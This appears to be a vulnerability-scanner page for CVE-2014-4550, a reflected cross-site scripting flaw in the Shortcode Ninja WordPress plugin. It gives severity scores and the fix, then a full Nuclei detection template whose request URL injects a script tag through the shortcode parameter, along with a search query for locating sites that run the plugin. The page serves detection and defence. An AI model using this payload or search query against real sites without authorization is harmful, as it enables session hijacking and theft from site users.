Shortcode Ninja <= 1.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter.

Impact

Allows remote attackers to inject arbitrary web script or HTML via crafted shortcode parameters, leading to potential session hijacking, defacement of web pages, or theft of sensitive information.

Fix

Update to the latest version of the Shortcode Ninja plugin (1.4 or higher) to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/shortcode-ninja/"
Send: GET {{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/scri…
Positive when: contains "'><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-4550 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-4550

info:
  name: Shortcode Ninja <= 1.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in preview-shortcode-external.php in the Shortcode Ninja plugin 1.4 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the shortcode parameter.
  impact: |
    Allows remote attackers to inject arbitrary web script or HTML via crafted shortcode parameters, leading to potential session hijacking, defacement of web pages, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Shortcode Ninja plugin (1.4 or higher) to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c7c24c7d-5341-43a6-abea-4a50fce9aab0
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4550
    - http://codevigilant.com/disclosure/wp-plugin-shortcode-ninja-a3-cross-site-scripting-xss
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4550
    cwe-id: CWE-79
    epss-score: 0.03918
    epss-percentile: 0.90408
    cpe: cpe:2.3:a:visualshortcodes:ninja:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: visualshortcodes
    product: ninja
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/shortcode-ninja\""
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,visualshortcodes,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/shortcode-ninja/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/shortcode-ninja/preview-shortcode-external.php?shortcode=shortcode%27%3E%3Cscript%3Ealert%28document.domain%29%3C/script%3e"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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